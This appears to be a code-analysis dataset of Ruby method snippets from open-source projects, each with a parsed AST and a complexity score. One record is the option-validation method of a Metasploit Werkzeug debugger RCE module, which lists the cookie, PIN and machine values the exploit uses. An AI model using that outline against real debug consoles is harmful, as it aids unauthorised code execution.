{"repo_name":"discourse","file_path":"./repos/discourse/app/models/group_user.rb","start_line":105,"raw_source":"def grant_other_available_title\n    if group.title.present? && group.title == user.title\n      user.update_attribute(:title, user.next_best_title)\n    end\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"grant_other_available_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"title\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"title\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"next_best_title\"]}]},null]}]}","id":"3b60e605-1f60-4bdb-af7e-8452a2c7552a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/route_helper.rb","start_line":5,"raw_source":"def prefix\n    if @prefix.length > 0\n      @prefix.join(\"::\") << \"::\"\n    else\n      ''\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@prefix\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@prefix\"]},\"join\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"::\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"69d036f7-218a-4516-848e-f8c554ffa38c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/diffs/stats_component.rb","start_line":41,"raw_source":"def diff_file_changed_icon(diff_file)\n      if diff_file.deleted_file?\n        \"file-deletion\"\n      elsif diff_file.new_file?\n        \"file-addition\"\n      else\n        \"file-modified\"\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_changed_icon\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"deleted_file?\"]},{\"type\":\"str\",\"children\":[\"file-deletion\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"new_file?\"]},{\"type\":\"str\",\"children\":[\"file-addition\"]},{\"type\":\"str\",\"children\":[\"file-modified\"]}]}]}]}","id":"32619404-cb53-4425-aff1-73d1898284d6"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/components/admin/enterprise_tokens/table_component_spec.rb","start_line":67,"raw_source":"def dates_cells\n    page.all(\".dates\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dates_cells\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\".dates\"]}]}]}","id":"122611f1-d1b4-48ed-8deb-14900ffe7798"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/jwt.rb","start_line":61,"raw_source":"def ci_claims\n        fields = {\n          pipeline_id: pipeline.id.to_s,\n          pipeline_source: pipeline.source.to_s,\n          job_id: build.id.to_s,\n          ref: source_ref,\n          ref_type: ref_type,\n          ref_path: source_ref_path,\n          ref_protected: build.protected.to_s\n        }\n\n        if Feature.enabled?(:ci_jwt_groups_direct, project, type: :ops) ||\n            Feature.enabled?(:ci_jwt_groups_direct, project.root_namespace, type: :ops)\n          direct_groups = user&.first_group_paths\n          fields[:groups_direct] = direct_groups if direct_groups\n        end\n\n        if environment.present?\n          fields.merge!(\n            environment: environment.name,\n            environment_protected: environment_protected?.to_s,\n            deployment_tier: build.environment_tier,\n            environment_action: build.environment_action\n          )\n        end\n\n        fields\n      end","complexity_score":48.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_claims\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_source\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"source\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"source_ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_type\"]},{\"type\":\"send\",\"children\":[null,\"ref_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_path\"]},{\"type\":\"send\",\"children\":[null,\"source_ref_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref_protected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"protected\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_jwt_groups_direct\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_jwt_groups_direct\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"root_namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"direct_groups\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"first_group_paths\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"direct_groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"groups_direct\"]},{\"type\":\"lvar\",\"children\":[\"direct_groups\"]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_protected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_protected?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deployment_tier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"environment_tier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"environment_action\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}","id":"ee65b662-371c-41d5-b789-b7f72347e14d"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/web/rack_logger.rb","start_line":118,"raw_source":"def error(message = nil, **payload)\n          payload[:message] = message if message\n          logger.info(JSON.generate(payload))\n        end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"e8c082ba-b435-4bbd-935b-51c9fa9e01e7"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/ext/regexp_parser.rb","start_line":44,"raw_source":"def loc\n            @loc ||= Map.new(expression, **build_location)\n          end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"loc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Map\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"expression\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_location\"]}]}]}]}]}]}","id":"6b31f98e-da26-4136-b052-6dcceb7c681e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/monitor/validation.rb","start_line":39,"raw_source":"def usage_exceeds_threshold?(usage, threshold)\n    return false unless usage.kind_of?(Numeric)\n    return false unless threshold.kind_of?(Numeric)\n    return false unless threshold > 0\n\n    usage > threshold\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"usage_exceeds_threshold?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usage\"]},{\"type\":\"arg\",\"children\":[\"threshold\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usage\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threshold\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threshold\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usage\"]},\">\",{\"type\":\"lvar\",\"children\":[\"threshold\"]}]}]}]}","id":"681eab53-54ad-449f-b09a-043e3a42cfa9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status_pin.rb","start_line":26,"raw_source":"def invalidate_cleanup_info\n    account.statuses_cleanup_policy&.invalidate_last_inspected(status, :unpin)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_cleanup_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"statuses_cleanup_policy\"]},\"invalidate_last_inspected\",{\"type\":\"send\",\"children\":[null,\"status\"]},{\"type\":\"sym\",\"children\":[\"unpin\"]}]}]}","id":"d30fe34b-813e-4a45-8c3b-03dacf1ba47d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/html_generator.rb","start_line":39,"raw_source":"def render_relative_path(export_path, path)\n      export_path = Pathname.new(File.expand_path(export_path))\n      path = Pathname.new(File.expand_path(path)).relative_path_from(export_path)\n      return path.to_path\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_relative_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"export_path\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"export_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"export_path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},\"relative_path_from\",{\"type\":\"lvar\",\"children\":[\"export_path\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_path\"]}]}]}]}","id":"f2cf2f76-84eb-4c8d-a70c-df91c2655795"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240819225351_remove_cascade_delete_zoekt_replica_fk_on_zoekt_indices.rb","start_line":11,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:zoekt_indices, column: :zoekt_replica_id, on_delete: :cascade,\n        name: OLD_CONSTRAINT_NAME)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"zoekt_indices\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"zoekt_replica_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"OLD_CONSTRAINT_NAME\"]}]}]}]}]}]}","id":"67b7e864-3a3f-460b-a8ea-dcbc727b7a07"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/memoized_helpers.rb","start_line":191,"raw_source":"def fetch_or_store(key)\n          @memoized.fetch(key) { @memoized[key] = yield }\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_or_store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memoized\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memoized\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"062e19a3-099b-42ca-b477-ffa4596726e4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/runtime_registry.rb","start_line":32,"raw_source":"def call(name, start, finish, id, payload)\n      record(\n        payload[:name],\n        (finish - start) * 1_000.0,\n        async: payload[:async],\n        lock_wait: payload[:lock_wait],\n      )\n    end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"finish\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finish\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]}]},\"*\",{\"type\":\"float\",\"children\":[1000.0]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"async\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lock_wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"lock_wait\"]}]}]}]}]}]}","id":"c9fcb132-83d5-4046-8ee8-844b4cf7d558"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/lib/snapshot/simulator_launchers/simulator_launcher.rb","start_line":172,"raw_source":"def copy_screenshots(language: nil, locale: nil, launch_args: nil)\n      raw_output = File.read(xcodebuild_log_path(language: language, locale: locale))\n      dir_name = locale || language\n      return Collector.fetch_screenshots(raw_output, dir_name, '', launch_args.first)\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_screenshots\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"language\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"locale\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"launch_args\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_output\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"xcodebuild_log_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"language\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dir_name\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"lvar\",\"children\":[\"language\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Collector\"]},\"fetch_screenshots\",{\"type\":\"lvar\",\"children\":[\"raw_output\"]},{\"type\":\"lvar\",\"children\":[\"dir_name\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"launch_args\"]},\"first\"]}]}]}]}]}","id":"dd1d903a-1844-4f59-bf1a-4bcf0e04e3b5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb","start_line":190,"raw_source":"def config_invalid?\n    # Check that target supports selected authentication mode\n    if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'\n      return CheckCode::Unknown(\n        \"AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not \" \\\n        \"require/support authentication. Change TARGET or set AUTHMODE to 'none'\"\n      )\n    end\n\n    case datastore['AUTHMODE']\n    when 'known-cookie'\n      unless COOKIE_PATTERN =~ datastore['COOKIE']\n        return CheckCode::Unknown(\n          'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \\\n          \"'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'\"\n        )\n      end\n    when 'known-PIN'\n      unless PIN_PATTERN =~ datastore['PIN']\n        return CheckCode::Unknown(\n          'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens'\n        )\n      end\n    when 'generated-cookie'\n      # Check that *all* values used to generate cookie & pin are set\n      unless all_generation_values_set?\n        return CheckCode::Unknown(\n          \"AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: \" \\\n          'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP'\n        ) # Alphabetise\n      end\n      # Check for valid MAC address\n      unless MAC_PATTERN =~ datastore['MACADDRESS']\n        return CheckCode::Unknown(\"#{datastore['MACADDRESS']} is not a valid MAC address\")\n      end\n    end\n\n    # Check that requestbody is not specified if method doesn't support it\n    return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])\n\n    return CheckCode::Unknown(\n      \"REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body\"\n    )\n  end","complexity_score":67.13,"ast_json":"{\"type\":\"def\",\"children\":[\"config_invalid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AUTHMODE\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"none\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AUTHMODE is set to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AUTHMODE\"]}]}]},{\"type\":\"str\",\"children\":[\"', but TARGET '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]}]},{\"type\":\"str\",\"children\":[\"' does not \"]}]},{\"type\":\"str\",\"children\":[\"require/support authentication. Change TARGET or set AUTHMODE to 'none'\"]}]}]}]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AUTHMODE\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"known-cookie\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COOKIE_PATTERN\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COOKIE\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. \"]},{\"type\":\"str\",\"children\":[\"'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"known-PIN\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PIN_PATTERN\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PIN\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"generated-cookie\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_generation_values_set?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"AUTHMODE is set to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AUTHMODE\"]}]}]},{\"type\":\"str\",\"children\":[\", so ALL of the following must be set: \"]}]},{\"type\":\"str\",\"children\":[\"SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAC_PATTERN\"]},\"=~\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MACADDRESS\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MACADDRESS\"]}]}]},{\"type\":\"str\",\"children\":[\" is not a valid MAC address\"]}]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUESTBODY\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"METHODS_WITH_BODY\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"METHOD\"]}]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"REQUESTBODY set but METHOD ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"METHOD\"]}]}]},{\"type\":\"str\",\"children\":[\"') does not support a request body\"]}]}]}]}]}]}","id":"5338299e-f842-43b4-ac6b-af0543aad3d7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/base_controller.rb","start_line":58,"raw_source":"def contact_phone_number\n    permitted_params.dig(:contact, :phone_number)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"contact_phone_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"sym\",\"children\":[\"phone_number\"]}]}]}","id":"092be053-edac-4483-a827-a7ea59bb4a05"}
